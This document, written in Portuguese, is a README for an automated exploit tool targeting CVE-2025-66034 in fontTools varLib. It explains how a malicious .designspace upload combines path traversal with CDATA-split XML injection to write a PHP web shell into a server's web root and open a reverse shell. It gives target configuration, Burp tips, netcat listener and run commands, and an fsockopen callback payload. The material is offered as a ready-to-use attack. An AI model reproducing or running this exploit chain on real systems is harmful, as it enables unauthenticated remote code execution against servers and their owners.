
Exploit automatizado para CVE-2025-66034, que combina path traversal e injeção de XML no varLib do fontTools para obter execução remota de código não autenticada por meio do upload de um arquivo .designspace malicioso.
fontTools varLib — Gravação Arbitrária de Arquivos + Injeção de XML → Execução Remota de Código
CVE-2025-66034 é uma vulnerabilidade no pipeline de geração de fontes variáveis do fontTools.varLib. Quando uma aplicação web expõe esse pipeline e aceita arquivos .designspace fornecidos pelo usuário, duas fraquezas são encadeadas para alcançar execução remota de código não autenticada.
O font_varlib.py automatiza toda a cadeia de exploração — geração de fontes, criação de payload, upload e entrega do reverse shell.
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Pacote | fonttools (pip) |
| Faixa Afetada | >= 4.33.0, < 4.60.2 |
| Corrigido Em | 4.60.2 |
| Gravidade | Moderada (CVSS 6.3) |
| Vetor de Ataque | Local (requer upload de arquivo no alvo) |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Necessária (acionamento por upload) |
| # | Primitiva | CWE | Causa Raiz |
|---|---|---|---|
| 1 | Path Traversal | CWE-22 | o atributo filename no .designspace é passado diretamente para os.path.join() sem sanitização — caminhos absolutos descartam inteiramente o diretório de saída pretendido |
| 2 | Injeção de XML | CWE-91 | seções CDATA de <labelname> permitem que uma sequência de divisão (]]]]><![CDATA[>) contrabandeie PHP bruto através do parser XML para dentro do arquivo de saída gravado |
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python: 3.9+
Dependências:
pip install fonttools requests
Sistema:
nc (netcat) — required for auto listener mode (--no-listen skips this)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Antes de executar, abra font_varlib.py e atualize o bloco de configuração no topo do arquivo para corresponder ao seu alvo. Cada valor tem um comentário inline explicando o que é e como encontrar o valor correto.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Dica: Intercepte uma solicitação de upload legítima no Burp Suite para confirmar
UPLOAD_ENDPOINTe os nomes exatos dos campos multipart antes de executar. Uma incompatibilidade nos nomes dos campos causa uma falha silenciosa — o servidor retorna HTTP 200, mas nenhum shell é gravado.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| Argumento | Obrigatório | Padrão | Descrição |
|---|---|---|---|
--ip | ✓ | — | IP do listener do atacante |
--port | ✓ | — | Porta do listener do atacante |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Endpoint de upload (POST) | |
--webroot | WEBROOT | Caminho de gravação no sistema de arquivos do servidor (deve ser acessível via web) | |
--shell | SHELL_HOST | URL base usada para acionar o shell gravado | |
--no-listen | false | Ignora o listener nc automático — apenas aciona |
Dois arquivos-fonte .ttf mínimos, porém estruturalmente válidos, são gerados programaticamente usando fontTools.FontBuilder. O varLib exige pelo menos dois masters de eixo para processar uma fonte variável — eles satisfazem esse requisito sem precisar de arquivos de fonte reais no disco.
Um arquivo XML .designspace malicioso é construído incorporando ambas as primitivas de ataque:
Primitiva 1 — Injeção de XML via divisão de CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
A sequência ]]]]><![CDATA[> encerra o bloco CDATA atual e imediatamente abre um novo. O parser XML processa isso como marcação válida, mas o varLib serializa o conteúdo literalmente no arquivo de saída — incorporando PHP bruto no binário da fonte.
Primitiva 2 — Path Traversal via atributo filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
O varLib constrói o caminho de saída como:
output_path = os.path.join(output_dir, filename)